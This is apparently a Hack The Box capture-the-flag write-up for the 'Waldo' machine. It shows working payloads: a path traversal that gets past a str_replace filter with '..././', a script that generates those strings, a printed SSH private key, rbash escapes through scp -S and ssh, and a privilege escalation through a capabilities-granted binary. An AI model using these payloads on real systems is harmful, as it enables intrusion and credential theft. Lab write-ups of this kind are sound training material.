Writeup: Hack The Box - Machines - Waldo

Description

  • Name: Waldo
  • IP: 10.10.10.87
  • Author: strawman
  • Difficulty: 4/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.87

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-05 14:17 CEST
Warning: 10.10.10.87 giving up on port because retransmission cap hit (3).
Nmap scan report for 10.10.10.87
Host is up (0.19s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
5355/tcp filtered llmnr
8888/tcp filtered sun-answerbook

Pwn

The web application lets insert lists with elements and display them.

The source code of all requests and managing of the web app is in list.js.

We can now list all requests to all PHP files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function writeList(listNum, data) {
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "fileWrite.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("listnum=" + listNum + "&data=" + data);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
} else {
}
}

function deleteList(listNum) {
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "fileDelete.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("listnum=" + listNum);
if (xhttp.readyState === 4 && xhttp.status === 200) {
listLists();
return xhttp.responseText;
} else {
}
}

function readDir(path) {
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "dirRead.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("path=" + path);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
} else {
}
}

function readFile(file) {
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "fileRead.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("file=" + file);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
} else {
}
}

With Burpsuite the first request that we saw is a POST to /dirRead.php:

1
2
3
4
5
6
7
8
9
10
11
POST /dirRead.php HTTP/1.1
Host: 10.10.10.87
Content-Length: 13
Origin: http://10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

path=./.list/

changing the path parameter to / we can list all file readble from the web server (the root folder of the web server).

In .list there are all lists added from the web view (no needs to dirbust :) ).

Using fileRead.php we tried to read all PHP files:

http -f POST http://10.10.10.87/fileRead.php "file=./fileRead.php"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($_SERVER['REQUEST_METHOD'] === "POST"){
$fileContent['file'] = false;
header('Content-Type: application/json');
if(isset($_POST['file'])){
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file']));
fclose();
}
}
echo json_encode($fileContent);
}

dirRead.php

1
2
3
4
5
6
7
8
9
10
if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['path'])){
header('Content-type: application/json');
$_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
echo json_encode(scandir("/var/www/html/" . $_POST['path']));
}else{
header('Content-type: application/json');
echo '[false]';
}
}

fileDelete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['listnum'])){
header('Content-Type: application/json');
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
unlink($myFile);
header('Content-Type: application/json');
echo '[true]';
}else{
header('Content-Type: application/json');
echo '[false]';
}
}else{
header('Content-Type: application/json');
echo '[false]';
}
}

fileWrite.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_SERVER['REQUEST_METHOD'] === "POST"){
header('Content-Type: application/json');
$condition['result'] = false;
if(isset($_POST['listnum'])){
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
$handle = fopen($myFile, 'w');
$data = $_POST['data'];
fwrite($handle, $data);
fclose();
$condition['result'] = true;
}
}
echo json_encode($condition);
}

Since we want to bypass all checks and run/save/read what we want we need to bypass the str_replace function.

The str_replace method could be bypassed using a simple trick from classic XSS cheat sheet:

1
str_replace(array("..\"", "../"), "", "..././ciao");

the above statement will return ../ciao.

With a simple script we can generate a long chain of prevdir with our file target.

1
2
3
4
5
6
7
target = "/etc/passwd"

if target[0] == "/":
target = target[1:]
for i in range(15):
target = "..././" + target
print(target)

..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd

This long string will be evaulated as ../../../../../../../../../../../../../../../etc/passwd. The long chain of ../ is need to get to the real /.

With fileRead we can execute our simple exploit.

And now we can try to read the user flag using the same method with dirRead function

Since fileRead will fail to read a file called user.txt we tried to navigate the /home/nobody to see if there are some interesting files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http -f POST http://10.10.10.87/dirRead.php "path=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././home/nobody/.ssh/"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Sun, 05 Aug 2018 13:46:11 GMT
Server: nginx/1.12.2
Transfer-Encoding: chunked
X-Powered-By: PHP/7.1.16

[
".",
"..",
".monitor",
"authorized_keys",
"known_hosts"
]

In .monitor we got a SSH private key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----

The key can let us SSH as nobody user and read the first flag.

With LinEnum we discovered that we are inside a docker container.

1
2
3
4
5
6
7
8
9
10
11
12
[+] Looks like we're in a Docker container:
10:memory:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
9:blkio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
8:cpuset:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
7:devices:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
6:cpu,cpuacct:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
5:freezer:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
4:net_cls,net_prio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
3:pids:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
2:perf_event:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
1:name=systemd:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
-rwxr-xr-x 1 root root 0 May 3 20:50 /.dockerenv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
docker0   Link encap:Ethernet  HWaddr 02:42:71:13:6D:D4  
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

ens33 Link encap:Ethernet HWaddr 00:50:56:B9:D4:C0
inet addr:10.10.10.87 Bcast:10.10.10.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:118881 errors:0 dropped:0 overruns:0 frame:0
TX packets:74983 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:14078287 (13.4 MiB) TX bytes:28416070 (27.0 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:436630 errors:0 dropped:0 overruns:0 frame:0
TX packets:436630 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:57524360 (54.8 MiB) TX bytes:57524360 (54.8 MiB)

With the same private key we can login as monitor: ssh -i .ssh/.monitor monitor@127.0.0.1 but we got a rbash shell.

Executing the SSH command as ssh -i .ssh/.monitor monitor@127.0.0.1 sh the system will spawn a sh shell in which we can run python and get a meterpreter shell.

Inside the our session we can run scp and so read files and execute commands and bypass the rbash shell:

scp -F /etc/passwd x y:

scp -S /usr/bin/id python -c 'import pty; pty.spawn("/bin/sh")'x y:

Or we can SSH with -t bash --noprofile --norc to get a fully working non-restricted bash shell.

Now that we have a free shell we can search in /home/monitor something to privesc to root.

In the home directory we found a app-dev folder with an ELF called logMonitor-0.1 that will read for us some log files in /var/log/.

Since this executable needs to read files owned by root and unreadable for the user monitor the creator/root of the machine granted some special permission on this file:

After a lot of wasted time search for literally anything and trying to setcap all kind of files in the machine we search for others file with getcap setted (source here).

We found another file with the same rights: /usr/bin/tac; with this program we can read the root flag.